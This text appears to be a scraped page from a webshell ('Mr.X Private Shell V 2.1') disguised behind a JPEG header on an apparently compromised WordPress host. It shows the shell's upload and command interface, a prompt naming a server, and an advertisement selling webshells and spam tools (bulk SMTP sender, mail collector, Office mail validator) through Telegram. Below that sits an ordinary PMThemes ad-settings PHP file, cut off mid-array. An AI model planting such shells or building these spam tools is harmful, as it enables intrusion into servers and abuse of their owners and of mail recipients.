����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
<?php
/**
 * ADS Settings Functions
 *
 * @category PMThemes ADS Settings
 */
/**
 * Get the bootstrap! If using the plugin from wordpress.org, REMOVE THIS!
 */

if ( file_exists( dirname( __FILE__ ) . '/cmb2/init.php' ) ) {
    require_once dirname( __FILE__ ) . '/cmb2/init.php';
} elseif ( file_exists( dirname( __FILE__ ) . '/CMB2/init.php' ) ) {
    require_once dirname( __FILE__ ) . '/CMB2/init.php';
}

/**
 * Hook in and register a metabox to handle a theme options page and adds a menu item.
 */

add_action( 'cmb2_admin_init', 'pmthemes_register_main_options_metabox' );
function pmthemes_register_main_options_metabox() {
    /**
     * Registers main options page menu item and form.
     */
    $main_opt = new_cmb2_box( array(
        'id'           => 'pmthemes_main_ads',
        'title'        => esc_html__( 'Ad Settings', 'cmb2' ),
        'object_types' => array( 'options-page' ),
        'option_key'      => 'pmthemes_ads',
        'icon_url'        => 'dashicons-vault',
        'capability'      => 'manage_options',
    ) );
    /**
     * Options fields ids only need
     * to be unique within this box.
     * Prefix is not needed.
     */
    $main_opt->add_field( array(
        'name' => __( 'Post Content Ads', 'pmthemes' ),
        'desc' => __( 'These are ads that are displayed within post content areas.','pmthemes' ),
        'type' => 'title',
        'id'   => 'post_content_ads_options',
        'before_row'   => '
				<div class="cmb2-tabs">
					<ul class="tabs-nav">
						<li class="current"><a href="#tab-content-1">Post Ads</a></li>
						<li><a href="#tab-content-2">Amazon</a></li>
						<li><a href="#tab-content-3">Clickbank</a></li>
						<li><a href="#tab-content-4">CB Banners</a></li>
						<li><a href="#tab-content-5">Custom Codes</a></li>
					</ul>

				<div class="tab-content tab-content-1 current">',
    ) );
    ///=======> Genesis/PMThemes Specific Start <===========
    $main_opt->add_field( array(
        'name' => __( 'Ad Before Post Title', 'pmthemes' ),
        'desc' => __( 'Inserted on top of post content, above post title.',
            'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_top_post_header',
        'show_on_cb' => 'pmthemes_check_supported_themes',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_before_title',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
        'show_on_cb' => 'pmthemes_check_supported_themes',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id'      => 'content_ad_top_code',
        'type' => 'textarea_code',
        'show_on_cb' => 'pmthemes_check_supported_themes',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Top Post Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'content_ad_top_position',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
        'show_on_cb' => 'pmthemes_check_supported_themes',
    ) );
    ///=======> Genesis/PMThemes Specific END <===========
    ///=======>Ad BEFORE Content start<===========
    $main_opt->add_field( array(
        'name' => __( 'Ad BEFORE Content', 'pmthemes' ),
        'desc' => __( 'Inserted between post title and first paragraph of post contents.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_before_con_header',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_before_con',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id' => 'ad_before_content_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'ad_before_content_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
    ) );
    ///=======>Ad BEFORE Content end <===========
    ///=======>First Ad Inside Content start <===========
    $main_opt->add_field( array(
        'name' => __( 'Ad INSIDE Content', 'pmthemes' ),
        'desc' => __( 'Inserted inside post contents.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_inside_con_header',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_inside_con',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id' => 'ad_inside_con_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name'    => 'Show on Paragraph?',
        'desc'    => 'Enter a number only. Ex. 4 means it will be displayed within the 4th paragraph.',
        'default' => '4',
        'id'      => 'display_on_paragraph',
        'type'    => 'text_number'
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Ad Size', 'pmthemes' ),
        'desc'    => __( 'Select exact ad size.', 'pmthemes' ),
        'id'      => 'ad_inside_con_size',
        'type'    => 'select',
        'options' => array(
            'full-size'   => __( 'Full Width Size', 'pmthemes' ),
            'square-300'   => __( '300 x 250 pixels', 'pmthemes' ),
            'square-336'   => __( '336 x 280 pixels', 'pmthemes' ),
            'scraper-160'   => __( '160 x 600 pixels', 'pmthemes' )
        ),
        'default' => 'full-size',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'ad_inside_con_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
    ) );
    ///=======>First Ad Inside Content end <===========
    ///=======>2nd Ad Inside Content start <===========
    $main_opt->add_field( array(
        'name' => __( '2nd Ad Inside Content', 'pmthemes' ),
        'desc' => __( 'Inserted inside post contents.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'sec_ad_inside_con_header',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_sec_ad_inside_con',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id' => 'sec_ad_inside_con_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name'    => 'Show on Paragraph?',
        'desc'    => 'Enter a number only. Ex. 7 means it will be displayed within 7th paragraph.',
        'default' => '7',
        'id'      => 'sec_display_on_paragraph',
        'type'    => 'text_number'
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Ad Size', 'pmthemes' ),
        'desc'    => __( 'Select exact ad size.', 'pmthemes' ),
        'id'      => 'sec_ad_inside_con_size',
        'type'    => 'select',
        'options' => array(
            'full-size'   => __( 'Full Width Size', 'pmthemes' ),
            'square-300'   => __( '300 x 250 pixels', 'pmthemes' ),
            'square-336'   => __( '336 x 280 pixels', 'pmthemes' ),
            'scraper-160'   => __( '160 x 600 pixels', 'pmthemes' )
        ),
        'default' => 'full_ad',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'sec_ad_inside_con_pos',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
    ) );
    ///=======>2nd Ad Inside Content end <===========
    ///=======>Ad BELOW Content start<===========
    $main_opt->add_field( array(
        'name' => __( 'Ad BELOW Content', 'pmthemes' ),
        'desc' => __( 'Displayed below post content, before meta tags.', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'ad_below_con_header',
    ) );
    $main_opt->add_field( array(
        'name'    => __( 'Display State', 'pmthemes' ),
        'desc'    => __( 'Show or hide this ad placement.', 'pmthemes' ),
        'id'      => 'show_ad_below_con',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Enabled', 'pmthemes' ),
            'disable'   => __( 'Disabled', 'pmthemes' )
        ),
        'default' => 'disable',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Ad Code', 'pmthemes' ),
        'desc' => __( 'Enter your ad code or replace existing code here.', 'pmthemes' ),
        'id' => 'content_ad_below_code',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Ad Position', 'pmthemes' ),
        'desc'    => __( 'Choose how this ad is positioned.', 'pmthemes' ),
        'id'      => 'content_ad_below_position',
        'type'    => 'select',
        'options' => array(
            'left'   => __( 'Left', 'pmthemes' ),
            'center'   => __( 'Center', 'pmthemes' ),
            'right'   => __( 'Right', 'pmthemes' )
        ),
        'default' => 'left',
        'after_row'   => '</div>',
    ) );
    ///=======>Ad BELOW Content End<===========
    //================>> Amazon Affiliate Links ======================////
    $main_opt->add_field( array(
        'name' => __( 'Amazon Affiliate Links', 'pmthemes' ),
        'desc' => __( 'Change Amazon ID and ad type here. For Amazon Affiliates only.','pmthemes' ),
        'type' => 'title',
        'id'   => 'amazon_ads_options',
        'before_row'   => '<div class="tab-content tab-content-2">',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon ID', 'pmthemes' ),
        'desc'    => __( 'Replace default ID with your own Amazon ID.', 'pmthemes' ),
        'id'      => 'amazon_id',
        'type'    => 'text',
        'default' => 'mzyne-20'
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon Ad Type', 'pmthemes' ),
        'desc'    => __( 'Choose Amazon Native Ad type that you would like to display.', 'pmthemes' ),
        'id'      => 'amazon_astore_enable',
        'type'    => 'select',
        'options' => array(
            'search' => __( 'Search Ads', 'pmthemes' ),
            'custom'   => __( 'Custom Ads', 'pmthemes' ),
            'astore'   => __( 'aStore - Discontinued', 'pmthemes' )
        ),
        'default' => 'search',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon aStore Link/URL', 'pmthemes' ),
        'desc'    => __( 'aStore is discontinued by Amazon on Oct 27, 2017. Please use Search Ads instead.', 'pmthemes' ),
        'id'      => 'amazon_astore_url',
        'type'    => 'text_url',
        'default' => 'https://pmthemes.com',
        'save_field'  => false,
        'attributes'  => array(
            'readonly' => 'readonly',
            'disabled' => 'disabled',
        ),
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Amazon Custom Ad Code', 'pmthemes' ),
        'desc' => __( '<a href="https://affiliate-program.amazon.com/home/ads/adcode/custom?ac-ms-src=quicklinks" target="_blank">Go here</a> and create your own custom ad code then replace code above.', 'pmthemes' ),
        'id' => 'amazon_custom_adcode',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon Header', 'pmthemes' ),
        'desc'    => __( 'Enter desired Amazon store header title.', 'pmthemes' ),
        'id'      => 'amazon_store_title',
        'type'    => 'text',
        'default' => 'Recommended Products from Amazon'
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon Keyword', 'pmthemes' ),
        'desc'    => __( 'Replace Amazon Keyword.', 'pmthemes' ),
        'id'      => 'amazon_keyword',
        'type'    => 'text',
        'default' => 'make money'
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon Category', 'pmthemes' ),
        'desc'    => __( 'Replace Amazon Category.', 'pmthemes' ),
        'id'      => 'amazon_category',
        'type'    => 'text',
        'default' => 'All'
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Amazon Country', 'pmthemes' ),
        'desc'    => __( 'Select your preferred Amazon country.', 'pmthemes' ),
        'id'      => 'amazon_country_loc',
        'type'    => 'select',
        'options' => array(
            'BR' => __( 'Brazil', 'pmthemes' ),
            'CA'   => __( 'Canada', 'pmthemes' ),
            'CN'   => __( 'China', 'pmthemes' ),
            'FR'   => __( 'France', 'pmthemes' ),
            'DE'   => __( 'Germany', 'pmthemes' ),
            'IT'   => __( 'Italy', 'pmthemes' ),
            'JP'   => __( 'Japan', 'pmthemes' ),
            'ES'   => __( 'Spain', 'pmthemes' ),
            'GB'   => __( 'United Kingdom', 'pmthemes' ),
            'US'   => __( 'United States', 'pmthemes' )
        ),
        'default' => 'US',
        'after_row'   => '</div>',
    ) );

    //===================>> CLICKBANK  ==========================////
    $main_opt->add_field( array(
        'name'    => __( 'Clickbank ID', 'pmthemes' ),
        'desc'    => __( 'Enter Your Clickbank ID.', 'pmthemes' ),
        'id'      => 'clickbank_id',
        'type'    => 'text',
        'default' => 'ijalmar77',
        'before_row'   => '<div class="tab-content tab-content-3">',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Clickbank Keyword', 'pmthemes' ),
        'desc'    => __( 'Enter Clickbank Keyword - Ex. make money online, affiliate marketing etc.', 'pmthemes' ),
        'id'      => 'clickbank_keyword',
        'type'    => 'text',
        'default' => 'make money',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'CBEngine Username', 'pmthemes' ),
        'desc'    => __( 'Enter Your <a href="http://www.premadethemes.com/cbpro" target="_blank">CBEngine Username</a>. This is optional.', 'pmthemes' ),
        'id'      => 'cbengine_id',
        'type'    => 'text',
        'default' => 'cbsuccess777',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Replace CB Affiliate Links', 'pmthemes' ),
        'desc' => __( 'Change existing affiliate below with your own.' ),
        'type' => 'title',
        'id'   => 'replace_cb_links',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Affiliate Link #1', 'pmthemes' ),
        'desc'    => __( 'Replace this with your encoded hoplink #1. Shortcode: <strong>[aff1link]</strong>', 'pmthemes' ),
        'id'      => 'aff1_link',
        'type'    => 'text_url',
        'default' => 'Enter your encoded Hoplink #1 here',
    ) );

    $main_opt->add_field( array(
        'name'    => __( 'Affiliate Link #2', 'pmthemes' ),
        'desc'    => __( 'Replace this with your encoded hoplink #2. Shortcode: <strong>[aff2link]</strong>', 'pmthemes' ),
        'id'      => 'aff2_link',
        'type'    => 'text_url',
        'default' => 'Enter your encoded Hoplink #2 here',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Vendor Reference', 'pmthemes' ),
        'desc' => __( 'Clickbank vendor nicknames that you can use to encode your hoplink.' ),
        'type' => 'title',
        'id'   => 'cb_vendor_nicknames_reference',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Vendor Nickname #1', 'pmthemes' ),
        'desc' => __( 'Use these Vendor Nickname To Encode Your Hoplink #1.', 'pmthemes' ),
        'id' => 'cb_vendor_1',
        'type' => 'text',
        'default' => 'vendor id 1',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Vendor Nickname #2', 'pmthemes' ),
        'desc' => __( 'Use these Vendor Nickname To Encode Your Hoplink #2.', 'pmthemes' ),
        'id' => 'cb_vendor_2',
        'type' => 'text',
        'default' => 'vendor id 2',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'How to Replace Clickbank Affiliate Links', 'pmthemes' ),
        'desc' => __( '' ),
        'type' => 'title',
        'id'   => 'how_replace_cb',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'STEP 1: Open HopLink Shield Tool by clicking link below', 'pmthemes' ),
        'desc' => __( '<a href="https://accounts.clickbank.com/hoplink_encoding.htm" target="_blank"><strong>https://accounts.clickbank.com/hoplink_encoding.htm</strong></a>','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'STEP 2: Create Your Encoded Hoplink #1', 'pmthemes' ),
        'desc' => __( '1. On the <strong>Hoplink Shield</strong> page, enter your Clickbank ID beside "<em><strong>Affiliate 
Nickname:</strong></em>". <br> 2. Next, enter the vendor nickname on the field "<em><strong>Vendor Nickname:</strong></em>". Just copy provided vendor reference on the field "<em><strong>Vendor Nickname #1:</strong></em>". <br> 3. Click "<em><strong>Encode</strong></em>" button. Your encoded url should look like this: <strong>http://48a092swohoqbu50m7r0vatmbs.hop.clickbank.net</strong>','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title_two',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'STEP 3: Replace Affiliate Link #1', 'pmthemes' ),
        'desc' => __( 'Now, copy your newly encoded Hoplink #1 and replace <strong>Affiliate Link #1</strong> field above.','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title_tre',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'STEP 4: Create Your Encoded Hoplink #2.', 'pmthemes' ),
        'desc' => __( 'Go back to Clickbank\'s HopLink Shield page and create another hoplink just like in "<strong>STEP 2</strong>". This will be your Hoplink #2 or <strong>Affiliate Link #2</strong>.','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title_for',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'STEP 5: Replace Affiliate Link #2', 'pmthemes' ),
        'desc' => __( 'Simply copy your newly encoded Hoplink #2 and replace <strong>Affiliate Link #2</strong> field above. <br> Don\'t for get to click "Save Changes" button below.','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title_fin',
        'after_row'   => '</div>',
    ) );

    //===================>> Banners  ==========================////
    $main_opt->add_field( array(
        'name' => __( 'Change banner images for Clickbank products', 'pmthemes' ),
        'desc' => __( 'Replace banners and image tags below if needed. Leave it as is if you want to retain pre-loaded banners.','pmthemes' ),
        'type' => 'title',
        'id'   => 'steps_title_banner_images',
        'before_row'   => '<div class="tab-content tab-content-4">',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Affiliate Link #1 Banners', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'affiliate_link_one',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Title/Alt', 'pmthemes' ),
        'desc' => 'Put your Title/Alt info here. Shortcode: <strong>[aff1tag]</strong>',
        'id' => 'aff1_title_tag',
        'default' => '',
        'type' => 'text',
    ) );

    $main_opt->add_field( array(
        'name' => '300x250 Banner',
        'desc' => 'Put your 300x250 Banner URL here. Shortcode: <strong>[aff1banner1]</strong>',
        'id' => 'aff1_banner_url_1',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '125x125 Banner',
        'desc' => 'Put your 125x125 Banner URL here. Shortcode: <strong>[aff1banner2]</strong>',
        'id' => 'aff1_banner_url_2',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '468x60 Banner',
        'desc' => 'Put your 468x60 Banner URL here. Shortcode: <strong>[aff1banner3]</strong>',
        'id' => 'aff1_banner_url_3',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '120x600 Banner',
        'desc' => 'Put your 120x600 Banner URL here. Shortcode: <strong>[aff1banner4]</strong>',
        'id' => 'aff1_banner_url_4',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '728x90 Banner',
        'desc' => 'Put your 728x90 Banner URL here. Shortcode: <strong>[aff1banner5]</strong>',
        'id' => 'aff1_banner_url_5',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => __( 'Affiliate Link #2 Banners', 'pmthemes' ),
        'type' => 'title',
        'id'   => 'affiliate_link_two',
    ) );

    $main_opt->add_field( array(
        'name' => 'Title/Alt',
        'desc' => 'Put your Title/Alt info here. Shortcode: <strong>[aff2tag]</strong>',
        'id' => 'aff2_title_tag',
        'default' => '',
        'type' => 'text',
    ) );

    $main_opt->add_field( array(
        'name' => '300x250 Banner',
        'desc' => 'Put your 300x250 Banner URL here. Shortcode: <strong>[aff2banner1]</strong>',
        'id' => 'aff2_banner_url_1',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '125x125 Banner',
        'desc' => 'Put your 125x125 Banner URL here. Shortcode: <strong>[aff2banner2]</strong>',
        'id' => 'aff2_banner_url_2',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '468x60 Banner',
        'desc' => 'Put your 468x60 Banner URL here. Shortcode: <strong>[aff2banner3]</strong>',
        'id' => 'aff2_banner_url_3',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '120x600 Banner',
        'desc' => 'Put your 120x600 Banner URL here. Shortcode: <strong>[aff2banner4]</strong>',
        'id' => 'aff2_banner_url_4',
        'default' => '',
        'type' => 'file',
    ) );

    $main_opt->add_field( array(
        'name' => '728x90 Banner',
        'desc' => 'Put your 728x90 Banner URL here. Shortcode: <strong>[aff2banner5]</strong>',
        'id' => 'aff2_banner_url_5',
        'default' => '',
        'type' => 'file',
        'after_row'   => '</div>',
    ) );

    // ======== Extra Codes ========>>
    $main_opt->add_field( array(
        'name' => __( 'Custom Codes', 'pmthemes' ),
        'desc' => __( 'Use extra fields below to insert and display any kind of ads on your site using <em>shortcodes</em>. Shortcodes can 
be used in <a href="'.site_url().'/wp-admin/widgets.php" target="_blank">widgeted</a> parts of your site like the header, sidebar, footer, and homepage.','pmthemes' ),
        'type' => 'title',
        'id'   => 'this_extra_options',
        'before_row'   => '<div class="tab-content tab-content-5">',
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code 1', 'pmthemes' ),
        'desc' => __( 'Enter custom code here. To display, use this shortcode: <strong>[adcode1]</strong>', 'pmthemes' ),
        'id' => 'pmns_code_1',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code 2', 'pmthemes' ),
        'desc' => __( 'Enter custom code here. To display, use this shortcode: <strong>[adcode2]</strong>', 'pmthemes' ),
        'id' => 'pmns_code_2',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code 3', 'pmthemes' ),
        'desc' => __( 'Enter custom code here. To display, this shortcode: <strong>[adcode3]</strong>', 'pmthemes' ),
        'id' => 'pmns_code_3',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true )
    ) );
    $main_opt->add_field( array(
        'name' => __( 'Ad Code 4', 'pmthemes' ),
        'desc' => __( 'Enter custom code here. To display, use this shortcode: <strong>[adcode4]</strong>', 'pmthemes' ),
        'id' => 'pmns_code_4',
        'type' => 'textarea_code',
        'options' => array( 'disable_codemirror' => true ),
        'row_classes'    => 'fifth',
        'after_row'   => '
            </div><!-- /.tab-content -->
        </div><!-- /.cmb2-tabs -->
        ',
    ) );


    ////////////////////////////// Secondary Options Page ////////////////////////
    /**
     * Registers secondary options page, and set main item as parent.
     */
    $sec_opt = new_cmb2_box( array(
        'id'           => 'pmthemes_125_ads',
        'title'        => esc_html__( '125 Banners', 'cmb2' ),
        'object_types' => array( 'options-page' ),
        'option_key'   => 'pmthemes_125',
        'parent_slug'  => 'pmthemes_ads',
    ) );

    $sec_opt->add_field( array(
        'name' => __( '125 Banner Ads', 'pmthemes' ),
        'desc' => __( 'Upload 125 banner here and enter where it points to.  To make the banner ads viewable on your site, go to <a href="'.site_url().'/wp-admin/widgets.php" target="_blank">Widgets Area</a> and activate it. Find the widgets box called "Banner Ads 125x125" then drag and drop it to the "Main Sidebar" widget box. <br /><br />NOTE: There is no need to fill up all banner boxes. You can fill up just 2 or 4 then indicate it on widgets box.','pmthemes' ),
        'type' => 'title',
        'id'   => 'banner_ads_options',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Rotate banners?', 'pmthemes' ),
        'desc'    => __( 'Enable to randomly rotate the banner ads.', 'pmthemes' ),
        'id'      => 'pmthemes_125ads_rotate',
        'type'    => 'select',
        'options' => array(
            'enable' => __( 'Yes', 'pmthemes' ),
            'disable'   => __( 'No', 'pmthemes' )
        ),
        'default' => 'enable',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Number of Ads', 'pmthemes' ),
        'desc'    => __( 'How many ads you want to display?', 'pmthemes' ),
        'id'      => 'number',
        'type'    => 'text_number',
        'default' => '4'
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #1 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #1 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_1',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #1 Image',
        'desc' => 'Enter the URL for banner #1 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_1',
        'default' => 'http://premadethemes.com/bns/125a.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #2 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #2 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_2',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #2 Image',
        'desc' => 'Enter the URL for banner #2 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_2',
        'default' => 'http://premadethemes.com/bns/125b.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #3 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #3 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_3',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #3 Image',
        'desc' => 'Enter the URL for banner #3 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_3',
        'default' => 'http://premadethemes.com/bns/125c.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #4 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #4 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_4',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #4 Image',
        'desc' => 'Enter the URL for banner #4 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_4',
        'default' => 'http://premadethemes.com/bns/125d.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #5 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #5 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_5',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #5 Image',
        'desc' => 'Enter the URL for banner #5 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_5',
        'default' => 'http://premadethemes.com/bns/125e.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #6 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #6 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_6',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #6 Image',
        'desc' => 'Enter the URL for banner #6 or upload your premade banner.',
        'id' => 'pmthemes_ad_image_6',
        'default' => 'http://premadethemes.com/bns/125f.png',
        'type' => 'file',
    ) );

    $sec_opt->add_field( array(
        'name'    => __( 'Banner Ad #7 Destination', 'pmthemes' ),
        'desc'    => __( 'Enter the URL where banner #7 ad points to.', 'pmthemes' ),
        'id'      => 'pmthemes_ad_url_7',
        'type'    => 'text',
        'default' => 'http://pmthemes.com/'
    ) );

    $sec_opt->add_field( array(
        'name' => 'Banner Ad #7 Image',
        'desc' => 'Enter the URL for banner #7 or upload your premade banner.',
